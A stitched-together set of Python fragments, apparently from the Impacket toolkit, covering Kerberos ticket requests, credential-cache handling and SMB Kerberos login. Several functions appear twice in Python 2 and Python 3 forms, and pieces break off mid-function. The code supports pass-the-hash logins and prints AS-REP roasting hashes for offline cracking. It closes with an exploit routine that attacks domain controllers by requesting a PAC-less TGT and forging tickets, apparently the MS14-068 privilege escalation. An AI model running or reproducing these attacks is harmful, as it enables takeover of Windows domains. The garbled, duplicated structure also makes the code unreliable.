TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(b'@')[0]
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data']
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode(
TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def getTGT(self):
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if self.__domain == '':
domain = ccache.principal.realm['data']
else:
domain = self.__domain
logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
return TGT
else:
logging.debug("No valid credentials found in cache. ")
# No TGT in cache, request it
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
if self.__password != '' and (self.__lmhash == ''
and self.__nthash == ''):
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
'',
self.__domain,
compute_lmhash(self.__password),
compute_nthash(self.__password),
self.__aesKey,
kdcHost=self.__kdcHost)
except Exception as e:
logging.debug('TGT: %s' % str(e))
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash),
self.__aesKey,
kdcHost=self.__kdcHost)
else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
unhexlify(self.__lmhash),
unhexlify(self.__nthash),
self.__aesKey,
kdcHost=self.__kdcHost)
TGT = {}
TGT['KDC_REP'] = tgt
TGT['cipher'] = cipher
TGT['sessionKey'] = sessionKey
return TGT
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: None, raises a Session Error if error.
"""
import os
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants
self._kdcHost = kdcHost
self._useCache = useCache
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
LOG.debug('Using TGS from cache')
# retrieve user information from CCache file if needed
if user == '' and creds is not None:
user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
LOG.debug('Username retrieved from CCache: %s' % user)
elif user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data'].decode('utf-8')
LOG.debug('Username retrieved from CCache: %s' % user)
while True:
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost,
TGT, TGS)
return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,
TGS)
except (smb.SessionError, smb3.SessionError) as e:
raise SessionError(e.get_error_code(), e.get_error_packet())
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None:
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise e
else:
raise e
def kerberosLogin(self,
user,
password,
domain='',
lmhash='',
nthash='',
aesKey='',
kdcHost=None,
TGT=None,
TGS=None,
useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: None
:raise SessionError: if error
"""
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants
self._kdcHost = kdcHost
self._useCache = useCache
if TGT is not None or TGS is not None:
useCache = False
if useCache:
domain, user, TGT, TGS = CCache.parseFile(
domain, user, 'cifs/%s' % self.getRemoteName())
while True:
try:
if self.getDialect() == smb.SMB_DIALECT:
return self._SMBConnection.kerberos_login(
user, password, domain, lmhash, nthash, aesKey,
kdcHost, TGT, TGS)
return self._SMBConnection.kerberosLogin(
user, password, domain, lmhash, nthash, aesKey, kdcHost,
TGT, TGS)
except (smb.SessionError, smb3.SessionError) as e:
raise SessionError(e.get_error_code(), e.get_error_packet())
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == '' and nthash == '' and (
aesKey == ''
or aesKey is None) and TGT is None and TGS is None:
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise e
else:
raise e
def getKerberosType1(username,
password,
domain,
lmhash,
nthash,
aesKey='',
TGT=None,
TGS=None,
targetName='',
kdcHost=None,
useCache=True):
# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
try:
lmhash = unhexlify(lmhash)
except TypeError:
pass
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),
domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS(principal)
# retrieve user information from CCache file if needed
if username == '' and creds is not None:
username = creds['client'].prettyPrint().split(
b'@')[0].decode('utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
elif username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data'].decode(
'utf-8')
LOG.debug('Username retrieved from CCache: %s' % username)
# First of all, we need to get a TGT for the user
userName = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey,
kdcHost)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b'' or aesKey is None
) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug(
'Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal(
'host/%s' % targetName,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError as e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash == b'' and nthash == b'' and (
aesKey == b''
or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = noValue
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField[
'Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode(
struct.pack('B', ASN1_OID) +
asn1encode(TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ +
encoder.encode(apReq))
return cipher, sessionKey, blob.getData()
def getKerberosTGT(clientName,
password,
domain,
lmhash,
nthash,
aesKey='',
kdcHost=None,
requestPAC=True):
# Convert to binary form, just in case we're receiving strings
if isinstance(lmhash, str):
try:
lmhash = unhexlify(lmhash)
except TypeError:
pass
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal('krbtgt/%s' % domain,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
# Yes.. this shouldn't happen but it's inherited from the past
if aesKey is None:
aesKey = b''
if nthash == b'':
# This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough,
# but I found some systems that accepts all ciphers, and trigger an error
# when requesting subsequent TGS :(. More research needed.
# So, in order to support more than one cypher, I'm setting aes first
# since most of the systems would accept it. If we're lucky and
# KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
if aesKey != b'':
if len(aesKey) == 32:
supportedCiphers = (int(
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
else:
supportedCiphers = (int(
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), )
else:
supportedCiphers = (int(
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), )
else:
# We have hashes to try, only way is to request RC4 only
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value), )
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
try:
r = sendReceive(message, domain, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
if supportedCiphers[0] in (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
) and aesKey == '':
supportedCiphers = (int(
constants.EncryptionTypes.rc4_hmac.value), )
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdcHost)
else:
raise
else:
raise
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
preAuth = True
try:
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
except:
# Most of the times we shouldn't be here, is this a TGT?
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
# Yes
preAuth = False
encryptionTypesData = dict()
salt = ''
if preAuth is False:
# In theory, we should have the right credentials for the etype specified before.
methods = asRep['padata']
encryptionTypesData[supportedCiphers[
0]] = salt # handle RC4 fallback, we don't need any salt
tgt = r
else:
methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]
for method in methods:
if method[
'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etypes2 = decoder.decode(method['padata-value'],
asn1Spec=ETYPE_INFO2())[0]
for etype2 in etypes2:
try:
if etype2['salt'] is None or etype2['salt'].hasValue(
) is False:
salt = ''
else:
salt = etype2['salt'].prettyPrint()
except PyAsn1Error:
salt = ''
encryptionTypesData[etype2['etype']] = b(salt)
elif method[
'padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
etypes = decoder.decode(method['padata-value'],
asn1Spec=ETYPE_INFO())[0]
for etype in etypes:
try:
if etype['salt'] is None or etype['salt'].hasValue(
) is False:
salt = ''
else:
salt = etype['salt'].prettyPrint()
except PyAsn1Error:
salt = ''
encryptionTypesData[etype['etype']] = b(salt)
enctype = supportedCiphers[0]
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''):
key = Key(cipher.enctype, nthash)
elif aesKey != b'':
key = Key(cipher.enctype, aesKey)
else:
key = cipher.string_to_key(password, encryptionTypesData[enctype],
None)
if preAuth is True:
if enctype in encryptionTypesData is False:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
# Now prepare the new AS_REQ again with the PADATA
# ToDo: cannot we reuse the previous one?
asReq = AS_REQ()
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq['padata'][0]['padata-value'] = encodedEncryptedData
asReq['padata'][1] = noValue
asReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][1]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
seq_set_iter(reqBody, 'etype', ((int(cipher.enctype), )))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception as e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash == b'' and nthash == b'' and (aesKey == b''
or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash,
nthash, aesKey, kdcHost, requestPAC)
raise
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# So, we have the TGT, now extract the new session key and finish
cipherText = asRep['enc-part']['cipher']
if preAuth is False:
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' %
(asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:])))
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
try:
plainText = cipher.decrypt(key, 3, cipherText)
except InvalidChecksum as e:
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key,
cipherText)
raise
encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]
# Get the session key and the ticket
# We're assuming the cipher for this session key is the same
# as the one we used before.
# ToDo: change this
sessionKey = Key(cipher.enctype,
encASRepPart['key']['keyvalue'].asOctets())
# ToDo: Check Nonces!
return tgt, cipher, key, sessionKey
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),)))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception, e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC)
raise
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception as e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = etype2['salt'].prettyPrint()
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
if exception is None:
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
